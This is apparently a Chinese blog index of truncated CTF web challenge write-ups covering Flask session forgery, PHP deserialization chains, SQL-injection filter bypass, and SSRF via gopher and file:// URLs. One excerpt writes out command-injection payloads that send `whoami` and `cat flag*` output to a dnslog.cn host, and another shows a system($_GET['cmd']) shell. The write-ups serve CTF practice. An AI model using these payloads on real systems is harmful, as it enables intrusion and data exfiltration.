MoeCTF2023_moeworld_Web
西电的新生赛题目还是不错的,(打打新生赛做下康复训练
前面的题目就不讲了,感觉最后一题还挺好玩的,特此记录一下。
moeworld
Part 1
首先做出来了前面的“出去旅游的心海”题目拿到了压缩包的密码,打开之后得到一个md文件和一个密码保护的hint.zip
接下来进入题目环境,上来是一个登录界面,随便注册一个账号登录发现是一个留言板应用:
从留言板上可以看到,admin写出了session密钥的构造形式,看起来最后仅有16^4个组合,可以考虑进行密钥爆破进而进行session伪造。
这里用到了这个工具:
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
我利用这个工具写了一个小脚本用来爆破出session密钥:
12345678910from flask_session_cookie_manager3 import *import itertoolshex_digits = "0123456789abcdef&q ...
ISCC2023的朝花夕夕夕夕拾
又是蓝桥杯又是期末周什么的CTF搁置了好长一段时间,暑假开始恶补!
老狼老狼几点了题目考察了一个反序列化逃逸还有MD5的构造前缀碰撞法,主要是这个MD5的构造前缀碰撞法之前没有遇到过,所以做题的时候直接在这一步卡住了。
构造前缀碰撞法
顾名思义,能够指定前缀,创造出两个前缀相同,内容不同,但MD5值相同的方法。使用到的工具在这里: fastcoll 。将前缀存到txt文件中,拖动到fastcoll上使用它打开,之后文件夹中会自动生成两个碰撞后文件,它们的MD5值相同。或者在命令行中-p指定文件进行生成。
where_is_your_love当时做的时候就卡在了pop链构造的最后一环了,现在再回头看这个pop链还是挺清晰的,只是有几块链接的触发方式有些生疏。链子的构造结构大致为:
1234567891011class boy::__destruct()↓class girl::__call()↓class helper::__isset()↓class boy::__toString()↓class helper::__get()↓class love_story::love()
...
ISCC个人挑战赛之练武题部分WP
MISC好看的维吾尔族小姐姐附件下载解压出来是一个没有后缀的名为“古力娜扎”的文件,使用winhex打开:
根据文件头判断是PNG图片,将文件后缀进行更改,得到一张图片:
图片很小,看起来比例也有点怪,根据经验怀疑是更改了大小,所以直接上010editor把大小改一下:
在这里调用png的模板,把高度改的大一点,之后保存发现图片的下方藏着一张”二维码”:
看起来像传统意义上的二维码,实际上又不是。这是一种特殊形式的二维码:Data Matrix码。通过一些其他的二维码扫描软件可以得到一串比较特殊的代码:
这不就是反过来的unicode么!这时候才联想到题目的提示:维吾尔族同胞的说话方式,莫非是反着说?不太了解,把字符串反过来unicode解码拿到flag:
WEB羊了个羊题目上来玩游戏啊,第一关第二关无穷无尽。看到上面有三个按钮,充值关卡和上一关均正常使用,冲关秘技被disable了,查看一下页面源码:
1<button class="btn" @click="handleIscc" disabled = true>冲关秘 ...
记一次Quino注入学习
之前做了一道题看别人的wp不明所以,搁置了一段时间再看豁然开朗。
题目:CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection首先进入题目是一个登陆框,看了html源码发现有提示源码位置,进行查看:
12345678910111213141516171819202122232425262728293031323334353637<?phpinclude_once("lib.php");function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>");} function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\|| ...
CTFHub_2020-网鼎杯-青龙组-AreUserialz
题目上来直接展示源码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); & ...
CTFHub_2022-网鼎杯-朱雀组-phpweb
题目上来看到一张背景图,左上角显示实时时间,每5s刷新一次,通过burp查看POST传入了
func=date&p=Y-m-d%20h%3Ai%3As%20a
猜测第一参数为php函数,第二参数为传入函数的参数。
之后进行fuzz工作,发现ban掉了很多函数,像system、exec等函数均被ban掉,偶然发现highlight_file函数使用正常,可以借助此函数进行源码读取,传入
func=highlight_file&p=index.php
成功拿到index.php的源码:
1234567891011121314151617181920212223242526272829303132333435<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","ph ...
VishwaCTF 2023 Web
Eeezzy题目上来直接给源码:
利用了strcmp函数无法比较数组等其他类型的参数,因此传入数组会使函数出错退出返回NULL。当时同时构造username和password以数组形式传入仅仅只会报错,后来看别人wp发现需要只构造password以数组形式传入才能拿到wp?(一个坑点,本地环境测试两个都构造为数组形式也能拿到flag,后续有研究再补充)
aLive
题面顾名思义,使用dnslog工具平台将命令外带,类似于requestbin
如此,可通过如下构造将命令执行的结果进行外带:
1`whoami`.ks8zy9.dnslog.cn
1`cat flag*`.ks8zy9.dnslog.cn
拿到flag。
payload用dirsearch扫目录,能扫出robots.txt和一个奇怪的GET传参cmd的子目录(之后发现就是要传参cmd),robots.txt内容:
123456789101112<?php if(isset($_GET['cmd'])){ system($_GET['cmd' ...
2023数字中国数字人才赛道初赛WEB
比赛时间在博客建站之前,题目没有自己截的图,在网上找了几张。
easy_curl首先通过php伪协议读取源文件
1?url=file:///var/www/html/index.php
得到index.php源码:
同理得到flag.php源码:
通过源码分析可以得到基本逻辑,index.php负责进行过滤和curl访问,flag.php输出变量key和检测访问是否来源于本地,如果是则输出flag。
题目重点在于:
gophar协议构造http请求
index.php对内网地址的过滤
gophar协议构造http请求:构造GET请求:使用脚本:
12345678910import urllibtest =\"""GET /ssrf/get.php HTTP/1.1Host: 192.168.0.111""" tmp = urllib.parse.quote(test)new = tmp.replace('%0A','%0D%0A')result = 'gophe ...